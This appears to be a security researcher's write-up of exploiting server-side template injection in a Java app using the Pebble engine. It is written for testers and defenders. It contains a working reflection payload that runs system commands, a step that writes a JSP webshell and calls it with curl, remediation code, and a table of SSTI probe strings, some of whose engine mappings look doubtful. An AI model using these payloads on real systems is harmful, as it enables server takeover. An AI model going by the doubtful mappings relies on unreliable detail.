SSTI to RCE in a Java Application
Server-Side Template Injection (SSTI) is often overlooked in Java applications. Most developers assume that if they're not using JSP with raw expressions, they're safe. This isn't true.
I recently encountered a Java application using the Pebble template engine. Here's how I found and exploited an SSTI vulnerability that led to full RCE.
Discovery
The application had a feature where users could generate custom email templates. The preview functionality rendered the template server-side:
POST /admin/email/preview
message=<p>Hello {{name}}, your order is confirmed!</p>
The name parameter was user-controlled and inserted into a Pebble template. I tested with:
{{ 7 * 7 }}
The preview rendered as 49. SSTI confirmed.
Understanding the Engine
Pebble is a Java template engine similar to Twig or Jinja2. It uses {{ }} for expressions and {% %} for tags.
I needed to understand what objects were available in the template context. I tested:
{{ this }}
This returned the PebbleTemplateImpl object. From here, I could navigate to Java reflection.
Building the Exploit
The standard Pebble exploit chain uses java.lang.Runtime:
{{ java.lang.Runtime.getRuntime() }}
But Pebble doesn't allow direct class access by default. I needed to go through available objects.
{{ this.getClass().forName("java.lang.Runtime") }}
This returned class java.lang.Runtime. I then built the full exploit:
{{ this.getClass()
.forName("java.lang.Runtime")
.getMethod("exec", this.getClass()
.forName("java.lang.String"))
.invoke(this.getClass()
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null), "id") }}
The final payload URL-encoded:
POST /admin/email/preview HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
message={{ this.getClass().forName("java.lang.Runtime").getMethod("exec", this.getClass().forName("java.lang.String")).invoke(this.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id") }}
Achieving Interactive Shell
One-shot command execution is limited. I uploaded a webshell using a two-stage approach:
First, write a JSP webshell to disk:
{{ this.getClass()
.forName("java.lang.Runtime")
.getMethod("exec", this.getClass()
.forName("[Ljava.lang.String;"))
.invoke(this.getClass()
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null),
new String[]{"/bin/sh", "-c",
"echo <shell> > /var/www/html/shell.jsp"}) }}
Then access the shell:
curl http://target.com/shell.jsp?cmd=id
Remediation
The fix required two changes:
- Contextual output escaping — Pebble templates should be configured with strict sandboxing
- Sandbox configuration — Pebble supports a
PebbleEngine.Builder().strictMode(true)option
// Vulnerable
PebbleEngine engine = new PebbleEngine.Builder().build();
// Fixed
PebbleEngine engine = new PebbleEngine.Builder()
.strictMode(true)
.registerExtension(new SandboxExtension())
.build();
Additionally, user-supplied templates should never be rendered with the full engine. Template content should be sanitized or rendered in a sandboxed environment.
Detection Patterns
When testing for SSTI in Java applications:
| Test String | Expected if SSTI | Engine |
|---|---|---|
{{ 7 * 7 }} |
49 |
Pebble, Freemarker |
${7*7} |
49 |
Freemarker |
${{7*7}} |
49 |
Velocity |
*{7*7} |
49 |
Thymeleaf |
#{7*7} |
49 |
JSP EL |